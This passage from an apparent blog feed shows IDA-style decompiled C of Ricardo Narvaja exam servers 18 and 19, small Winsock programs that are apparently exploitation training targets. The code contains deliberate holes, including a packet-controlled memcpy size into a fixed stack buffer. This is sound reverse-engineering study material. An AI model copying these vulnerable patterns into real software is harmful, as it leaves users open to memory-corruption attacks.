</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WS2_32_16</span>(v23, Src, <span style="color:#ae81ff">0x2000</span>, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>v22 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>(Src <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">+</span> <span style="color:#f92672">*</span>Src;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%x</span><span style="color:#ae81ff">\n\n</span><span style="color:#e6db74">"</span>, v22[<span style="color:#ae81ff">0</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>v22 <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> Size <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>(Src <span style="color:#f92672">+</span> <span style="color:#ae81ff">2</span>);
</span></span><span style="display:flex;"><span> dword_404030 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>(Src <span style="color:#f92672">+</span> <span style="color:#ae81ff">3</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memcpy</span>(v12, Src, Size);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> ( i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> Size; <span style="color:#f92672">++</span>i )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v26 <span style="color:#f92672">=</span> v12[i];
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v26 <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( dword_404030 <span style="color:#f92672">!=</span> (<span style="color:#f92672">*</span>v21 <span style="color:#f92672">^</span> <span style="color:#ae81ff">0x89765432</span>) );
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>
-
Ricardo Narvaja: Exámen 18 (Servidor, libw32pth-0.dll)
https://imlauera.github.io/post/ricardo_narvaja_18/
Tue, 27 Aug 2024 14:54:39 -0300
https://imlauera.github.io/post/ricardo_narvaja_18/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">sub_4014E0</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>Buffer, <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>Format, ...)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> va_list va; <span style="color:#75715e">// [esp+18h] [ebp+10h] BYREF
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">va_start</span>(va, Format);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401010</span>();
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">sub_401450</span>(Buffer, Format, <span style="color:#ae81ff">0</span>, va);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">sub_401020</span>(<span style="color:#66d9ef">int</span> a1)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v1; <span style="color:#75715e">// al
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v3; <span style="color:#75715e">// al
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v4; <span style="color:#75715e">// al
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v5; <span style="color:#75715e">// al
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">size_t</span> v6; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v7; <span style="color:#75715e">// [esp+0h] [ebp-12DCh]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v8; <span style="color:#75715e">// [esp+0h] [ebp-12DCh]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v9; <span style="color:#75715e">// [esp+0h] [ebp-12DCh]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v10; <span style="color:#75715e">// [esp+0h] [ebp-12DCh]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v11[<span style="color:#ae81ff">4096</span>]; <span style="color:#75715e">// [esp+8h] [ebp-12D4h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v12[<span style="color:#ae81ff">400</span>]; <span style="color:#75715e">// [esp+1008h] [ebp-2D4h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> Format[<span style="color:#ae81ff">64</span>]; <span style="color:#75715e">// [esp+1198h] [ebp-144h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> Str[<span style="color:#ae81ff">200</span>]; <span style="color:#75715e">// [esp+11D8h] [ebp-104h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v15[<span style="color:#ae81ff">16</span>]; <span style="color:#75715e">// [esp+12A0h] [ebp-3Ch] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">__int16</span> v16[<span style="color:#ae81ff">2</span>]; <span style="color:#75715e">// [esp+12B0h] [ebp-2Ch] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v17; <span style="color:#75715e">// [esp+12B4h] [ebp-28h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v18; <span style="color:#75715e">// [esp+12C0h] [ebp-1Ch]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v19; <span style="color:#75715e">// [esp+12C4h] [ebp-18h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v20[<span style="color:#ae81ff">4</span>]; <span style="color:#75715e">// [esp+12C8h] [ebp-14h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> i; <span style="color:#75715e">// [esp+12CCh] [ebp-10h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v22; <span style="color:#75715e">// [esp+12D0h] [ebp-Ch]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v23; <span style="color:#75715e">// [esp+12D4h] [ebp-8h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v24; <span style="color:#75715e">// [esp+12DBh] [ebp-1h]
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">strcpy</span>(Format, <span style="color:#e6db74">"Hello Client , I have received your connection your key is %d.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>dword_404038 <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetTickCount</span>();
</span></span><span style="display:flex;"><span> Src <span style="color:#f92672">=</span> <span style="color:#a6e22e">malloc</span>(<span style="color:#ae81ff">0x2000u</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">LoadLibraryA</span>(<span style="color:#e6db74">"libw32pth-0.dll"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">Initialising Winsock..."</span>, v7);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#a6e22e">WS2_32_115</span>(<span style="color:#ae81ff">514</span>, v12) )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v1 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_111</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Failed. Error Code : %d"</span>, v1);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Initialised.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, v8);
</span></span><span style="display:flex;"><span> v23 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_23</span>(<span style="color:#ae81ff">2</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v23 <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_111</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Could not create socket : %d"</span>, v3);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Socket created.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, v9);
</span></span><span style="display:flex;"><span> v16[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">2</span>;
</span></span><span style="display:flex;"><span> v17 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> v16[<span style="color:#ae81ff">1</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_9</span>(a1);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#a6e22e">WS2_32_2</span>(v23, v16, <span style="color:#ae81ff">16</span>) <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v4 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_111</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Bind failed with error code : %d"</span>, v4);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">puts</span>(<span style="color:#e6db74">"Bind done"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WS2_32_13</span>(v23, <span style="color:#ae81ff">3</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">puts</span>(<span style="color:#e6db74">"Waiting for incoming connections...</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> v19 <span style="color:#f92672">=</span> <span style="color:#ae81ff">16</span>;
</span></span><span style="display:flex;"><span> v22 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_1</span>(v23, v15, <span style="color:#f92672">&</span>v19);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v22 <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v5 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_111</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"accept failed with error code : %d"</span>, v5);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">puts</span>(<span style="color:#e6db74">"Connection accepted</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memset</span>(Str, <span style="color:#ae81ff">0</span>, <span style="color:#66d9ef">sizeof</span>(Str));
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( a1 <span style="color:#f92672">==</span> <span style="color:#ae81ff">8888</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_4014E0</span>(Str, <span style="color:#e6db74">"Port is = %d"</span>, <span style="color:#ae81ff">252</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WS2_32_19</span>(v22, Str, <span style="color:#ae81ff">200</span>, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> v6 <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>(Str);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WS2_32_16</span>(v22, Src, v6, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>Src <span style="color:#f92672">!=</span> <span style="color:#ae81ff">1094861636</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">puts</span>(<span style="color:#e6db74">"Bye Bye</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WS2_32_3</span>(v23);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_4014E0</span>(Str, Format, dword_404038[<span style="color:#ae81ff">0</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(Str, v10);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WS2_32_19</span>(v22, Str, <span style="color:#ae81ff">200</span>, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> v18 <span style="color:#f92672">=</span> dword_40403C;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WS2_32_16</span>(v22, Src, <span style="color:#ae81ff">0x2000</span>, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>v20 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>(Src <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">+</span> <span style="color:#f92672">*</span>Src;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%x</span><span style="color:#ae81ff">\n\n</span><span style="color:#e6db74">"</span>, v20[<span style="color:#ae81ff">0</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>v20 <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> Size <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>(Src <span style="color:#f92672">+</span> <span style="color:#ae81ff">2</span>);
</span></span><span style="display:flex;"><span> dword_404030 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>(Src <span style="color:#f92672">+</span> <span style="color:#ae81ff">3</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memcpy</span>(v11, Src, Size);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> ( i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> Size; <span style="color:#f92672">++</span>i )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v24 <span style="color:#f92672">=</span> v11[i];
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v24 <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( dword_404030 <span style="color:#f92672">!=</span> (<span style="color:#f92672">*</span>dword_404038 <span style="color:#f92672">^</span> <span style="color:#ae81ff">0x89765432</span>) )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">puts</span>(<span style="color:#e6db74">"Bye Bye</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>envp)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401020</span>(<span style="color:#ae81ff">8888</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401020</span>(<span style="color:#ae81ff">7676</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>
-
Ricardo Narvaja: Exámen 19 (Servidor, WCMZIP32.DLL)
https://imlauera.github.io/post/ricardo_narvaja_19/
Tue, 27 Aug 2024 14:54:39 -0300
https://imlauera.github.io/post/ricardo_narvaja_19/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>_DWORD <span style="color:#f92672">*</span>__thiscall <span style="color:#a6e22e">sub_401020</span>(_DWORD <span style="color:#f92672">*</span>this)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_4010C0</span>(this);
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>this <span style="color:#f92672">=</span> off_403348;
</span></span><span style="display:flex;"><span> this[<span style="color:#ae81ff">2</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> this[<span style="color:#ae81ff">113</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> this[<span style="color:#ae81ff">114</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>((_BYTE <span style="color:#f92672">*</span>)this <span style="color:#f92672">+</span> <span style="color:#ae81ff">4756</span>) <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memset</span>(this <span style="color:#f92672">+</span> <span style="color:#ae81ff">115</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0xC8u</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memset</span>(this <span style="color:#f92672">+</span> <span style="color:#ae81ff">165</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0x1000u</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memset</span>((<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>)this <span style="color:#f92672">+</span> <span style="color:#ae81ff">4757</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0xC8u</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> this;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>_DWORD <span style="color:#f92672">*</span>__thiscall <span style="color:#a6e22e">sub_401650</span>(_DWORD <span style="color:#f92672">*</span>this, <span style="color:#66d9ef">int</span> a2)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> _DWORD <span style="color:#f92672">*</span>result; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> result <span style="color:#f92672">=</span> this;
</span></span><span style="display:flex;"><span> this[<span style="color:#ae81ff">2</span>] <span style="color:#f92672">=</span> a2;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> result;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> __thiscall <span style="color:#a6e22e">sub_4010E0</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>this)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v1; <span style="color:#75715e">// al
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v2; <span style="color:#75715e">// al
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">size_t</span> v3; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_4014D0</span>(this);
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>((_DWORD <span style="color:#f92672">*</span>)this <span style="color:#f92672">+</span> <span style="color:#ae81ff">104</span>) <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_1</span>(<span style="color:#f92672">*</span>((_DWORD <span style="color:#f92672">*</span>)this <span style="color:#f92672">+</span> <span style="color:#ae81ff">103</span>), this <span style="color:#f92672">+</span> <span style="color:#ae81ff">436</span>, this <span style="color:#f92672">+</span> <span style="color:#ae81ff">452</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>((_DWORD <span style="color:#f92672">*</span>)this <span style="color:#f92672">+</span> <span style="color:#ae81ff">104</span>) <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v1 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_111</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_4017F0</span>(<span style="color:#e6db74">"accept failed with error code : %d"</span>, v1);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">puts</span>(<span style="color:#e6db74">"Connection accepted</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memset</span>(this <span style="color:#f92672">+</span> <span style="color:#ae81ff">4757</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0xC8u</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_4017F0</span>(<span style="color:#e6db74">"number= %d</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, <span style="color:#f92672">*</span>((_DWORD <span style="color:#f92672">*</span>)this <span style="color:#f92672">+</span> <span style="color:#ae81ff">2</span>));
</span></span><span style="display:flex;"><span> v2 <span style="color:#f92672">=</span> <span style="color:#a6e22e">sub_401490</span>(<span style="color:#ae81ff">8888</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401830</span>(this <span style="color:#f92672">+</span> <span style="color:#ae81ff">4757</span>, <span style="color:#e6db74">"Nuevo Port is = %d</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, v2);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WS2_32_19</span>(<span style="color:#f92672">*</span>((_DWORD <span style="color:#f92672">*</span>)this <span style="color:#f92672">+</span> <span style="color:#ae81ff">104</span>), this <span style="color:#f92672">+</span> <span style="color:#ae81ff">4757</span>, <span style="color:#ae81ff">200</span>, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>(this <span style="color:#f92672">+</span> <span style="color:#ae81ff">4757</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WS2_32_16</span>(<span style="color:#f92672">*</span>((_DWORD <span style="color:#f92672">*</span>)this <span style="color:#f92672">+</span> <span style="color:#ae81ff">104</span>), Src, v3, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>(_DWORD <span style="color:#f92672">*</span>)Src <span style="color:#f92672">==</span> <span style="color:#ae81ff">1094861636</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WS2_32_3</span>(<span style="color:#f92672">*</span>((_DWORD <span style="color:#f92672">*</span>)this <span style="color:#f92672">+</span> <span style="color:#ae81ff">103</span>));
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">puts</span>(<span style="color:#e6db74">"Bye Bye love</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> __thiscall <span style="color:#a6e22e">sub_401240</span>(<span style="color:#66d9ef">int</span> this)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v1; <span style="color:#75715e">// al
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v3; <span style="color:#75715e">// [esp+0h] [ebp-Ch]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v4; <span style="color:#75715e">// [esp+0h] [ebp-Ch]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">signed</span> <span style="color:#66d9ef">int</span> i; <span style="color:#75715e">// [esp+4h] [ebp-8h]
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_4014D0</span>(this);
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(_DWORD <span style="color:#f92672">*</span>)(this <span style="color:#f92672">+</span> <span style="color:#ae81ff">416</span>) <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_1</span>(<span style="color:#f92672">*</span>(_DWORD <span style="color:#f92672">*</span>)(this <span style="color:#f92672">+</span> <span style="color:#ae81ff">412</span>), this <span style="color:#f92672">+</span> <span style="color:#ae81ff">436</span>, this <span style="color:#f92672">+</span> <span style="color:#ae81ff">452</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>(_DWORD <span style="color:#f92672">*</span>)(this <span style="color:#f92672">+</span> <span style="color:#ae81ff">416</span>) <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v1 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_111</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_4017F0</span>(<span style="color:#e6db74">"accept failed with error code : %d"</span>, v1);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">puts</span>(<span style="color:#e6db74">"Connection accepted</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memset</span>((<span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>)(this <span style="color:#f92672">+</span> <span style="color:#ae81ff">4757</span>), <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0xC8u</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_4017F0</span>(<span style="color:#e6db74">"number= %d</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, <span style="color:#f92672">*</span>(_DWORD <span style="color:#f92672">*</span>)(this <span style="color:#f92672">+</span> <span style="color:#ae81ff">8</span>));
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401830</span>((<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>)(this <span style="color:#f92672">+</span> <span style="color:#ae81ff">4757</span>), (<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>)(this <span style="color:#f92672">+</span> <span style="color:#ae81ff">460</span>), dword_404080[<span style="color:#ae81ff">0</span>]);
